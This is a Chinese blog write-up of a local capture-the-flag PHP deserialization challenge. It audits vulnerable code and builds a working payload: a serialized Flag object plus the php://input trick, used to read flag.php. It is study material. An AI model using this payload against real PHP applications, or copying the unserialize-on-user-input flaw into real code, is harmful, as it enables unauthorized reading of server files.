代码编织梦想

我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!

PHP反序列化漏洞

level6-[本地复现]-[file_get_conents]-[php://input伪协议]

1.题目描述

<?php  
error_reporting(0);
include("flag.php");

class Flag{ 
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("good");
        }  
    }  
}

$txt = $_GET["txt"];
$password = $_GET["password"];  

if(!isset($txt)){
    show_source(__FILE__);
    exit();
}

if(file_get_contents($txt,'r')==="welcome to the aegis"){  
    echo "hello friend!<br>";    
    $password = unserialize($password);  
    echo $password;  
}else{  
    echo "something wrong! try it again";  
}

2.代码审计

通读代码:

<?php  
error_reporting(0);		// 关闭所有PHP错误报告
include("flag.php");	// 文件包含flag.php,也就是提示我们flag存储在flag.php页面内,猜测是注释内容

class Flag{ 			// 定义一个以Flag为名的类
    public $file;  		// 定义一个以file为名的公有属性
    public function __tostring(){   // 定义一个公有的魔术方法,
        							// 当前类的实例化对象被当做字符串的时候,自动被调用
        if(isset($this->file)){  	// 判断file属性是否被声明,它的值是否为NULL
            echo file_get_contents($this->file); // 若被定义了,且值不为NULL,
            									 // 则把整个文件的内容读入字符串
            echo "<br>";			// 输出换行
            return ("good");		// 返回good
        }  
    }  
}

$txt = $_GET["txt"];		  // 把用户以GET形式提交的txt参数值赋值给变量txt
$password = $_GET["password"];// 把用户以GET形式提交的password参数值赋值给password变量

if(!isset($txt)){			  // 判断txt变量是否被声明且不为NULL 
    show_source(__FILE__);	  // 若没有声明或值为NULL,则高亮显示当前页面源码
    exit();					  // 输出一个空消息并且退出当前脚本行
}

if(file_get_contents($txt,'r')==="welcome to the aegis"){  // 判断是否全等
    echo "hello friend!<br>";    		 // 全等,则输出hello friend
    $password = unserialize($password);  // 反序列化password值
    echo $password;  					 // 打印password,很明显这里可以触发tostring
}else{  								 // 若不全等:
    echo "something wrong! try it again";// something wrong! try it again
}

按序,分析所得:

  • flag值可能存在于flag.php的页面的注释内:
  • Flag类有一个魔术方法tostring,功能是把以file属性名的文件读入字符串,并且打印出来(很明显,我们可以通过把flag.php赋值给file属性,然后再调用该魔术方法,即可的到flag)
  • 需要以GET形式传入参数值给txt变量且值不能为NULL,之后会经过file_get_content的读取后,判断是否全等于welcome to the aegis。(很明显,我们并不知道什么文件的内容是为welcome to the aegis,但是我们有一个奇技淫巧:就是把这个文件吗替换为php://input伪协议,那么file_get_contents就会把POST提交的内容读入字符串,那么这样我们就可以很简单地让这个字符串全等于welcome to the aegis了)【这一步,就相当于一个绕过过滤了】
  • 需要以GET形式传入参数值给password变量且不为NULL,再经过上一步的考验后,会反序列化password变量的值,再打印出该值(很明显,如果我们传入当前类的实例化对象的序列化字符串,那么在后台经过反序列化和输出后,就会自然而然地调用tostring魔术方法,那么很明显就会和上面分析得到flag值得方法不谋而合了)

反序列化四要素,分析所得:

  • 后台存在反序列化函数
  • 后台存在不正当使用魔术方法的行为
  • 后台存在echo file_get_contents($this->file);
  • 用户对于传入的反序列化内容可控,或者说可以绕过过滤

3.解题过程

第一步:分析流程

  • 要想得到flag值–>需要读flag.php页面的源码
  • 要想读flag.php页面的源码–>需要执行file_get_contents($this->file)(很明显,需要执行该函数,且file属性值为flag.php)
  • 要想执行file_get_contents($this->file)函数–>需要执行tostring魔术方法
  • 要想执行tostring魔术方法–>需要当前类的实例化对象被当做字符串处理
  • 要想当前类的实例化对象被当做字符串处理–>需要执行 p a s s w o r d = u n s e r i a l i z e ( password = unserialize( password=unserialize(password);echo $password;
  • 要想执行上一步的代码–>需要对传入的txt参数进行绕过过滤
  • 要想绕过过滤–>需要给txt传入php://input伪协议,同时以POST形式提交数据welcome to the aegis

第二步:根据以上步骤构造payload

<?php  
class Flag{ 
    public $file='flag.php';   
}

$chen = new Flag();
echo serialize($chen);
//序列化字符串结果:O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//以GET形式提交的数据:?txt=php://input&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
//同时以POST提交的数据:welcome to the aegis

第三步:传入payload,读取flag值

GET内容:

?txt=php://input&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

POST内容:

welcome to the aegis

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-rg4CdJOr-1640791413151)(D:\☆学习\share\02OWASP-TOP10系统学习\A08-不安全的反序列化-PHP反序列化\images\17.png)]

附:修改BurpsuiteHTTP包的字体大小的方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-hD5GA2TS-1640791413152)(D:\☆学习\share\02OWASP-TOP10系统学习\A08-不安全的反序列化-PHP反序列化\images\16.png)]

4.总结

  • 官方功能:file_get_contents()函数把整个文件读入到字符串
  • 通俗的说:file_get_contents()是用来把文件的内容或POST数据读入到字符串中
  • file_get_conents($file)函数的功能:把以file参数为名的整个文件内容读入字符串
  • file_get_contents(php://input)函数功能:把以POST提交的数据读入字符串(php://input起到了一个桥梁的作用)(也就是php://input读POST数据,而php://input又被file_get_contents()函数读)